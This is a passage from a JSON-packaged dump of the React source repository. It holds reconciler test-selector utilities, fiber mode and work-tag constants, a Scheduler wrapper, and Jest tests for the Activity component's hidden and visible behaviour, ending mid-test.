findFiberRootForHostRoot(hostRoot);\n\n  let maxSelectorIndex: number = 0;\n  const matchedNames = [];\n\n  // The logic of this loop should be kept in sync with findPaths()\n  const stack = [root, 0];\n  let index = 0;\n  while (index < stack.length) {\n    const fiber = ((stack[index++]: any): Fiber);\n    const tag = fiber.tag;\n    let selectorIndex = ((stack[index++]: any): number);\n    const selector = selectors[selectorIndex];\n\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      isHiddenSubtree(fiber)\n    ) {\n      continue;\n    } else if (matchSelector(fiber, selector)) {\n      matchedNames.push(selectorToString(selector));\n      selectorIndex++;\n\n      if (selectorIndex > maxSelectorIndex) {\n        maxSelectorIndex = selectorIndex;\n      }\n    }\n\n    if (selectorIndex < selectors.length) {\n      let child = fiber.child;\n      while (child !== null) {\n        stack.push(child, selectorIndex);\n        child = child.sibling;\n      }\n    }\n  }\n\n  if (maxSelectorIndex < selectors.length) {\n    const unmatchedNames = [];\n    for (let i = maxSelectorIndex; i < selectors.length; i++) {\n      unmatchedNames.push(selectorToString(selectors[i]));\n    }\n\n    return (\n      'findAllNodes was able to match part of the selector:\\n' +\n      `  ${matchedNames.join(' > ')}\\n\\n` +\n      'No matching component was found for:\\n' +\n      `  ${unmatchedNames.join(' > ')}`\n    );\n  }\n\n  return null;\n}\n\nexport type BoundingRect = {\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n};\n\nexport function findBoundingRects(\n  hostRoot: Instance,\n  selectors: Array<Selector>,\n): Array<BoundingRect> {\n  if (!supportsTestSelectors) {\n    throw new Error('Test selector API is not supported by this renderer.');\n  }\n\n  const instanceRoots = findAllNodes(hostRoot, selectors);\n\n  const boundingRects: Array<BoundingRect> = [];\n  for (let i = 0; i < instanceRoots.length; i++) {\n    boundingRects.push(getBoundingRect(instanceRoots[i]));\n  }\n\n  for (let i = boundingRects.length - 1; i > 0; i--) {\n    const targetRect = boundingRects[i];\n    const targetLeft = targetRect.x;\n    const targetRight = targetLeft + targetRect.width;\n    const targetTop = targetRect.y;\n    const targetBottom = targetTop + targetRect.height;\n\n    for (let j = i - 1; j >= 0; j--) {\n      if (i !== j) {\n        const otherRect = boundingRects[j];\n        const otherLeft = otherRect.x;\n        const otherRight = otherLeft + otherRect.width;\n        const otherTop = otherRect.y;\n        const otherBottom = otherTop + otherRect.height;\n\n        // Merging all rects to the minimums set would be complicated,\n        // but we can handle the most common cases:\n        // 1. completely overlapping rects\n        // 2. adjacent rects that are the same width or height (e.g. items in a list)\n        //\n        // Even given the above constraints,\n        // we still won't end up with the fewest possible rects without doing multiple passes,\n        // but it's good enough for this purpose.\n\n        if (\n          targetLeft >= otherLeft &&\n          targetTop >= otherTop &&\n          targetRight <= otherRight &&\n          targetBottom <= otherBottom\n        ) {\n          // Complete overlapping rects; remove the inner one.\n          boundingRects.splice(i, 1);\n          break;\n        } else if (\n          targetLeft === otherLeft &&\n          targetRect.width === otherRect.width &&\n          !(otherBottom < targetTop) &&\n          !(otherTop > targetBottom)\n        ) {\n          // Adjacent vertical rects; merge them.\n          if (otherTop > targetTop) {\n            otherRect.height += otherTop - targetTop;\n            otherRect.y = targetTop;\n          }\n          if (otherBottom < targetBottom) {\n            otherRect.height = targetBottom - otherTop;\n          }\n\n          boundingRects.splice(i, 1);\n          break;\n        } else if (\n          targetTop === otherTop &&\n          targetRect.height === otherRect.height &&\n          !(otherRight < targetLeft) &&\n          !(otherLeft > targetRight)\n        ) {\n          // Adjacent horizontal rects; merge them.\n          if (otherLeft > targetLeft) {\n            otherRect.width += otherLeft - targetLeft;\n            otherRect.x = targetLeft;\n          }\n          if (otherRight < targetRight) {\n            otherRect.width = targetRight - otherLeft;\n          }\n\n          boundingRects.splice(i, 1);\n          break;\n        }\n      }\n    }\n  }\n\n  return boundingRects;\n}\n\nexport function focusWithin(\n  hostRoot: Instance,\n  selectors: Array<Selector>,\n): boolean {\n  if (!supportsTestSelectors) {\n    throw new Error('Test selector API is not supported by this renderer.');\n  }\n\n  const root = findFiberRootForHostRoot(hostRoot);\n  const matchingFibers = findPaths(root, selectors);\n\n  const stack = Array.from(matchingFibers);\n  let index = 0;\n  while (index < stack.length) {\n    const fiber = ((stack[index++]: any): Fiber);\n    const tag = fiber.tag;\n    if (isHiddenSubtree(fiber)) {\n      continue;\n    }\n    if (\n      tag === HostComponent ||\n      tag === HostHoistable ||\n      tag === HostSingleton\n    ) {\n      const node = fiber.stateNode;\n      if (setFocusIfFocusable(node)) {\n        return true;\n      }\n    }\n    let child = fiber.child;\n    while (child !== null) {\n      stack.push(child);\n      child = child.sibling;\n    }\n  }\n\n  return false;\n}\n\nconst commitHooks: Array<Function> = [];\n\nexport function onCommitRoot(): void {\n  if (supportsTestSelectors) {\n    commitHooks.forEach(commitHook => commitHook());\n  }\n}\n\nexport type IntersectionObserverOptions = Object;\n\nexport type ObserveVisibleRectsCallback = (\n  intersections: Array<{ratio: number, rect: BoundingRect}>,\n) => void;\n\nexport function observeVisibleRects(\n  hostRoot: Instance,\n  selectors: Array<Selector>,\n  callback: (intersections: Array<{ratio: number, rect: BoundingRect}>) => void,\n  options?: IntersectionObserverOptions,\n): {disconnect: () => void} {\n  if (!supportsTestSelectors) {\n    throw new Error('Test selector API is not supported by this renderer.');\n  }\n\n  const instanceRoots = findAllNodes(hostRoot, selectors);\n\n  const {disconnect, observe, unobserve} = setupIntersectionObserver(\n    instanceRoots,\n    callback,\n    options,\n  );\n\n  // When React mutates the host environment, we may need to change what we're listening to.\n  const commitHook = () => {\n    const nextInstanceRoots = findAllNodes(hostRoot, selectors);\n\n    instanceRoots.forEach(target => {\n      if (nextInstanceRoots.indexOf(target) < 0) {\n        unobserve(target);\n      }\n    });\n\n    nextInstanceRoots.forEach(target => {\n      if (instanceRoots.indexOf(target) < 0) {\n        observe(target);\n      }\n    });\n  };\n\n  commitHooks.push(commitHook);\n\n  return {\n    disconnect: () => {\n      // Stop listening for React mutations:\n      const index = commitHooks.indexOf(commitHook);\n      if (index >= 0) {\n        commitHooks.splice(index, 1);\n      }\n\n      // Disconnect the host observer:\n      disconnect();\n    },\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactTypeOfMode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type TypeOfMode = number;\n\nexport const NoMode = /*                         */ 0b0000000;\n// TODO: Remove ConcurrentMode by reading from the root tag instead\nexport const ConcurrentMode = /*                 */ 0b0000001;\nexport const ProfileMode = /*                    */ 0b0000010;\n//export const DebugTracingMode = /*             */ 0b0000100; // Removed\nexport const StrictLegacyMode = /*               */ 0b0001000;\nexport const StrictEffectsMode = /*              */ 0b0010000;\n// Keep track of if we're in a SuspenseyImages eligible subtree.\n// TODO: Remove this when enableSuspenseyImages ship where it's always on.\nexport const SuspenseyImagesMode = /*            */ 0b0100000;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactWorkTags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type WorkTag =\n  | 0\n  | 1\n  | 2\n  | 3\n  | 4\n  | 5\n  | 6\n  | 7\n  | 8\n  | 9\n  | 10\n  | 11\n  | 12\n  | 13\n  | 14\n  | 15\n  | 16\n  | 17\n  | 18\n  | 19\n  | 20\n  | 21\n  | 22\n  | 23\n  | 24\n  | 25\n  | 26\n  | 27\n  | 28\n  | 29\n  | 30\n  | 31;\n\nexport const FunctionComponent = 0;\nexport const ClassComponent = 1;\nexport const HostRoot = 3; // Root of a host tree. Could be nested inside another node.\nexport const HostPortal = 4; // A subtree. Could be an entry point to a different renderer.\nexport const HostComponent = 5;\nexport const HostText = 6;\nexport const Fragment = 7;\nexport const Mode = 8;\nexport const ContextConsumer = 9;\nexport const ContextProvider = 10;\nexport const ForwardRef = 11;\nexport const Profiler = 12;\nexport const SuspenseComponent = 13;\nexport const MemoComponent = 14;\nexport const SimpleMemoComponent = 15;\nexport const LazyComponent = 16;\nexport const IncompleteClassComponent = 17;\nexport const DehydratedFragment = 18;\nexport const SuspenseListComponent = 19;\nexport const ScopeComponent = 21;\nexport const OffscreenComponent = 22;\nexport const LegacyHiddenComponent = 23;\nexport const CacheComponent = 24;\nexport const TracingMarkerComponent = 25;\nexport const HostHoistable = 26;\nexport const HostSingleton = 27;\nexport const IncompleteFunctionComponent = 28;\nexport const Throw = 29;\nexport const ViewTransitionComponent = 30;\nexport const ActivityComponent = 31;\n"
  },
  {
    "path": "packages/react-reconciler/src/Scheduler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This module only exists as an ESM wrapper around the external CommonJS\n// Scheduler dependency. Notice that we're intentionally not using named imports\n// because Rollup would use dynamic dispatch for CommonJS interop named imports.\n// When we switch to ESM, we can delete this module.\nimport * as Scheduler from 'scheduler';\n\nexport const scheduleCallback = Scheduler.unstable_scheduleCallback;\nexport const cancelCallback = Scheduler.unstable_cancelCallback;\nexport const shouldYield = Scheduler.unstable_shouldYield;\nexport const requestPaint = Scheduler.unstable_requestPaint;\nexport const now = Scheduler.unstable_now;\nexport const getCurrentPriorityLevel =\n  Scheduler.unstable_getCurrentPriorityLevel;\nexport const ImmediatePriority = Scheduler.unstable_ImmediatePriority;\nexport const UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\nexport const NormalPriority = Scheduler.unstable_NormalPriority;\nexport const LowPriority = Scheduler.unstable_LowPriority;\nexport const IdlePriority = Scheduler.unstable_IdlePriority;\nexport type SchedulerCallback = (isSync: boolean) => SchedulerCallback | null;\n\n// this doesn't actually exist on the scheduler, but it *does*\n// on scheduler/unstable_mock, which we'll need for internal testing\nexport const log = Scheduler.log;\nexport const unstable_setDisableYieldValue =\n  Scheduler.unstable_setDisableYieldValue;\n"
  },
  {
    "path": "packages/react-reconciler/src/__mocks__/scheduler/tracing.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This placeholder is to support a legacy/regression test in ReactFresh-test.\n// Without this mock, jest.mock('scheduler/tracing') throws.\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/Activity-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet LegacyHidden;\nlet Activity;\nlet useState;\nlet useLayoutEffect;\nlet useEffect;\nlet useInsertionEffect;\nlet useMemo;\nlet startTransition;\nlet waitForPaint;\nlet waitFor;\nlet assertLog;\nlet assertConsoleErrorDev;\nlet Suspense;\n\ndescribe('Activity', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    LegacyHidden = React.unstable_LegacyHidden;\n    Activity = React.Activity;\n    Suspense = React.Suspense;\n    useState = React.useState;\n    useInsertionEffect = React.useInsertionEffect;\n    useLayoutEffect = React.useLayoutEffect;\n    useEffect = React.useEffect;\n    useMemo = React.useMemo;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForPaint = InternalTestUtils.waitForPaint;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text}>{props.children}</span>;\n  }\n\n  // @gate enableLegacyHidden\n  it('unstable-defer-without-hiding should never toggle the visibility of its children', async () => {\n    function App({mode}) {\n      return (\n        <>\n          <Text text=\"Normal\" />\n          <LegacyHidden mode={mode}>\n            <Text text=\"Deferred\" />\n          </LegacyHidden>\n        </>\n      );\n    }\n\n    // Test the initial mount\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App mode=\"unstable-defer-without-hiding\" />);\n      await waitForPaint(['Normal']);\n      expect(root).toMatchRenderedOutput(<span prop=\"Normal\" />);\n    });\n    assertLog(['Deferred']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Normal\" />\n        <span prop=\"Deferred\" />\n      </>,\n    );\n\n    // Now try after an update\n    await act(() => {\n      root.render(<App mode=\"visible\" />);\n    });\n    assertLog(['Normal', 'Deferred']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Normal\" />\n        <span prop=\"Deferred\" />\n      </>,\n    );\n\n    await act(async () => {\n      root.render(<App mode=\"unstable-defer-without-hiding\" />);\n      await waitForPaint(['Normal']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Normal\" />\n          <span prop=\"Deferred\" />\n        </>,\n      );\n    });\n    assertLog(['Deferred']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Normal\" />\n        <span prop=\"Deferred\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyHidden && !disableLegacyMode\n  it('does not defer in legacy mode', async () => {\n    let setState;\n    function Foo() {\n      const [state, _setState] = useState('A');\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    const root = ReactNoop.createLegacyRoot();\n    await act(() => {\n      root.render(\n        <>\n          <LegacyHidden mode=\"hidden\">\n            <Foo />\n          </LegacyHidden>\n          <Text text=\"Outside\" />\n        </>,\n      );\n\n      ReactNoop.flushSync();\n\n      // Should not defer the hidden tree\n      assertLog(['A', 'Outside']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Outside\" />\n      </>,\n    );\n\n    // Test that the children can be updated\n    await act(() => {\n      setState('B');\n    });\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"B\" />\n        <span prop=\"Outside\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('does defer in concurrent mode', async () => {\n    let setState;\n    function Foo() {\n      const [state, _setState] = useState('A');\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(\n        <>\n          <LegacyHidden mode=\"hidden\">\n            <Foo />\n          </LegacyHidden>\n          <Text text=\"Outside\" />\n        </>,\n      );\n      // Should defer the hidden tree.\n      await waitForPaint(['Outside']);\n    });\n\n    // The hidden tree was rendered at lower priority.\n    assertLog(['A']);\n\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Outside\" />\n      </>,\n    );\n\n    // Test that the children can be updated\n    await act(() => {\n      setState('B');\n    });\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"B\" />\n        <span prop=\"Outside\" />\n      </>,\n    );\n  });\n\n  it('mounts without layout effects when hidden', async () => {\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Mount hidden tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    // No layout effect.\n    assertLog(['Child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"Child\" />);\n\n    // Unhide the tree. The layout effect is mounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n  });\n\n  it('mounts/unmounts layout effects when visibility changes (starting visible)', async () => {\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n    // Hide the tree. The layout effect is unmounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Unmount layout', 'Child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"Child\" />);\n\n    // Unhide the tree. The layout effect is re-mounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n  });\n\n  it('nested offscreen does not call componentWillUnmount when hidden', async () => {\n    // This is a bug that appeared during production test of <Activity />.\n    // It is a very specific scenario with nested Offscreens. The inner offscreen\n    // goes from visible to hidden in synchronous update.\n    class ClassComponent extends React.Component {\n      render() {\n        return <Text text=\"child\" />;\n      }\n\n      componentWillUnmount() {\n        Scheduler.log('componentWillUnmount');\n      }\n\n      componentDidMount() {\n        Scheduler.log('componentDidMount');\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      // Outer and inner offscreen are hidden.\n      root.render(\n        <Activity mode={'hidden'}>\n          <Activity mode={'hidden'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    assertLog(['child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"child\" />);\n\n    await act(() => {\n      // Inner offscreen is visible.\n      root.render(\n        <Activity mode={'hidden'}>\n          <Activity mode={'visible'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    assertLog(['child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"child\" />);\n\n    await act(() => {\n      // Inner offscreen is hidden.\n      root.render(\n        <Activity mode={'hidden'}>\n          <Activity mode={'hidden'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    assertLog(['child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"child\" />);\n\n    await act(() => {\n      // Inner offscreen is visible.\n      root.render(\n        <Activity mode={'hidden'}>\n          <Activity mode={'visible'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    Scheduler.unstable_clearLog();\n\n    await act(() => {\n      // Outer offscreen is visible.\n      // Inner offscreen is hidden.\n      root.render(\n        <Activity mode={'visible'}>\n          <Activity mode={'hidden'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    assertLog(['child']);\n\n    await act(() => {\n      // Outer offscreen is hidden.\n      // Inner offscreen is visible.\n      root.render(\n        <Activity mode={'hidden'}>\n          <Activity mode={'visible'}>\n            <ClassComponent />\n          </Activity>\n        </Activity>,\n      );\n    });\n\n    assertLog(['child']);\n  });\n\n  it('mounts/unmounts layout effects when visibility changes (starting hidden)', async () => {\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      // Start the tree hidden. The layout effect is not mounted.\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"Child\" />);\n\n    // Show the tree. The layout effect is mounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n    // Hide the tree again. The layout effect is un-mounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Unmount layout', 'Child']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"Child\" />);\n  });\n\n  it('hides children of offscreen after layout effects are destroyed', async () => {\n    const root = ReactNoop.createRoot();\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          // The child should not be hidden yet.\n          expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(root).toMatchRenderedOutput(<span prop=\"Child\" />);\n\n    // Hide the tree. The layout effect is unmounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['Unmount layout', 'Child']);\n\n    // After the layout effect is unmounted, the child is hidden.\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"Child\" />);\n  });\n\n  // @gate enableLegacyHidden\n  it('does not toggle effects for LegacyHidden component', async () => {\n    // LegacyHidden is meant to be the same as offscreen except it doesn't\n    // do anything to effects. Only used by www, as a temporary migration step.\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"visible\">\n          <Child />\n        </LegacyHidden>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"hidden\">\n          <Child />\n        </LegacyHidden>,\n      );\n    });\n    assertLog(['Child']);\n\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"visible\">\n          <Child />\n        </LegacyHidden>,\n      );\n    });\n    assertLog(['Child']);\n\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount layout']);\n  });\n\n  it('hides new insertions into an already hidden tree', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <span>Hi</span>\n        </Activity>,\n      );\n    });\n    expect(root).toMatchRenderedOutput(<span hidden={true}>Hi</span>);\n\n    // Insert a new node into the hidden tree\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <span>Hi</span>\n          <span>Something new</span>\n        </Activity>,\n      );\n    });\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>Hi</span>\n        {/* This new node should also be hidden */}\n        <span hidden={true}>Something new</span>\n      </>,\n    );\n  });\n\n  it('hides updated nodes inside an already hidden tree', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <span>Hi</span>\n        </Activity>,\n      );\n    });\n    expect(root).toMatchRenderedOutput(<span hidden={true}>Hi</span>);\n\n    // Set the `hidden` prop to on an already hidden node\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <span hidden={false}>Hi</span>\n        </Activity>,\n      );\n    });\n    // It should still be hidden, because the Activity container overrides it\n    expect(root).toMatchRenderedOutput(<span hidden={true}>Hi</span>);\n\n    // Unhide the boundary\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <span hidden={true}>Hi</span>\n        </Activity>,\n      );\n    });\n    // It should still be hidden, because of the prop\n    expect(root).toMatchRenderedOutput(<span hidden={true}>Hi</span>);\n\n    // Remove the `hidden` prop\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <span>Hi</span>\n        </Activity>,\n      );\n    });\n    // Now it's visible\n    expect(root).toMatchRenderedOutput(<span>Hi</span>);\n  });\n\n  it('revealing a hidden tree at high priority does not cause tearing', async () => {\n    // When revealing an offscreen tree, we need to include updates that were\n    // previously deferred because the tree was hidden, even if they are lower\n    // priority than the current render. However, we should *not* include low\n    // priority updates that are entangled with updates outside of the hidden\n    // tree, because that can cause tearing.\n    //\n    // This test covers a scenario where an update multiple updates inside a\n    // hidden tree share the same lane, but are processed at different times\n    // because of the timing of when they were scheduled.\n\n    // This functions checks whether the \"outer\" and \"inner\" states are\n    // consistent in the rendered output.\n    let currentOuter = null;\n    let currentInner = null;\n    function areOuterAndInnerConsistent() {\n      return (\n        currentOuter === null ||\n        currentInner === null ||\n        currentOuter === currentInner\n      );\n    }\n\n    let setInner;\n    function Child() {\n      const [inner, _setInner] = useState(0);\n      setInner = _setInner;\n\n      useEffect(() => {\n        currentInner = inner;\n        return () => {\n          currentInner = null;\n        };\n      }, [inner]);\n\n      return <Text text={'Inner: ' + inner} />;\n    }\n\n    let setOuter;\n    function App({show}) {\n      const [outer, _setOuter] = useState(0);\n      setOuter = _setOuter;\n\n      useEffect(() => {\n        currentOuter = outer;\n        return () => {\n          currentOuter = null;\n        };\n      }, [outer]);\n\n      return (\n        <>\n          <Text text={'Outer: ' + outer} />\n          <Activity mode={show ? 'visible' : 'hidden'}>\n            <Child />\n          </Activity>\n        </>\n      );\n    }\n\n    // Render a hidden tree\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['Outer: 0', 'Inner: 0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Outer: 0\" />\n        <span hidden={true} prop=\"Inner: 0\" />\n      </>,\n    );\n    expect(areOuterAndInnerConsistent()).toBe(true);\n\n    await act(async () => {\n      // Update a value both inside and outside the hidden tree. These values\n      // must always be consistent.\n      setOuter(1);\n      setInner(1);\n      // Only the outer updates finishes because the inner update is inside a\n      // hidden tree. The outer update is deferred to a later render.\n      await waitForPaint(['Outer: 1']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer: 1\" />\n          <span hidden={true} prop=\"Inner: 0\" />\n        </>,\n      );\n\n      // Before the inner update can finish, we receive another pair of updates.\n      React.startTransition(() => {\n        setOuter(2);\n        setInner(2);\n      });\n\n      // Also, before either of these new updates are processed, the hidden\n      // tree is revealed at high priority.\n      ReactNoop.flushSync(() => {\n        root.render(<App show={true} />);\n      });\n\n      assertLog([\n        'Outer: 1',\n\n        // There are two pending updates on Inner, but only the first one\n        // is processed, even though they share the same lane. If the second\n        // update were erroneously processed, then Inner would be inconsistent\n        // with Outer.\n        'Inner: 1',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span prop=\"Outer: 1\" />\n          <span prop=\"Inner: 1\" />\n        </>,\n      );\n      expect(areOuterAndInnerConsistent()).toBe(true);\n    });\n    assertLog(['Outer: 2', 'Inner: 2']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Outer: 2\" />\n        <span prop=\"Inner: 2\" />\n      </>,\n    );\n    expect(areOuterAndInnerConsistent()).toBe(true);\n  });\n\n  it('regression: Activity instance is sometimes null during setState', async () => {\n    let setState;\n    function Child() {\n      const [state, _setState] = useState('Initial');\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Activity />);\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(null);\n\n    await act(async () => {\n      // Partially render a component\n      startTransition(() => {\n        root.render(\n          <Activity>\n            <Child />\n            <Text text=\"Sibling\" />\n          </Activity>,\n        );\n      });\n      await waitFor(['Initial']);\n\n      // Before it finishes rendering, the whole tree gets deleted\n      ReactNoop.flushSync(() => {\n        root.render(null);\n      });\n\n      // Something attempts to update the never-mounted component. When this\n      // regression test was written, we would walk up the component's return\n      // path and reach an unmounted Activity component fiber. Its `stateNode`\n      // would be null because it was nulled out when it was deleted, but there\n      // was no null check before we accessed it. A weird edge case but we must\n      // account for it.\n      setState('Updated');\n      assertConsoleErrorDev([\n        \"Can't perform a React state update on a component that hasn't mounted yet. \" +\n          'This indicates that you have a side-effect in your render function that ' +\n          'asynchronously tries to update the component. ' +\n          'Move this work to useEffect instead.\\n' +\n          '    in Child (at **)',\n      ]);\n    });\n    expect(root).toMatchRenderedOutput(null);\n  });\n\n  it('class component setState callbacks do not fire until tree is visible', async () => {\n    const root = ReactNoop.createRoot();\n\n    let child;\n    class Child extends React.Component {\n      state = {text: 'A'};\n      render() {\n        child = this;\n        return <Text text={this.state.text} />;\n      }\n    }\n\n    // Initial render\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['A']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"A\" />);\n\n    // Schedule an update to a hidden class component. The update will finish\n    // rendering in the background, but the callback shouldn't fire yet, because\n    // the component isn't visible.\n    await act(() => {\n      child.setState({text: 'B'}, () => {\n        Scheduler.log('B update finished');\n      });\n    });\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop=\"B\" />);\n\n    // Now reveal the hidden component. Simultaneously, schedule another\n    // update with a callback to the same component. When the component is\n    // revealed, both the B callback and C callback should fire, in that order.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n      child.setState({text: 'C'}, () => {\n        Scheduler.log('C update finished');\n      });\n    });\n    assertLog(['C', 'B update finished', 'C update finished']);\n    expect(root).toMatchRenderedOutput(<span prop=\"C\" />);\n  });\n\n  it('does not call componentDidUpdate when reappearing a hidden class component', async () => {\n    class Child extends React.Component {\n      componentDidMount() {\n        Scheduler.log('componentDidMount');\n      }\n      componentDidUpdate() {\n        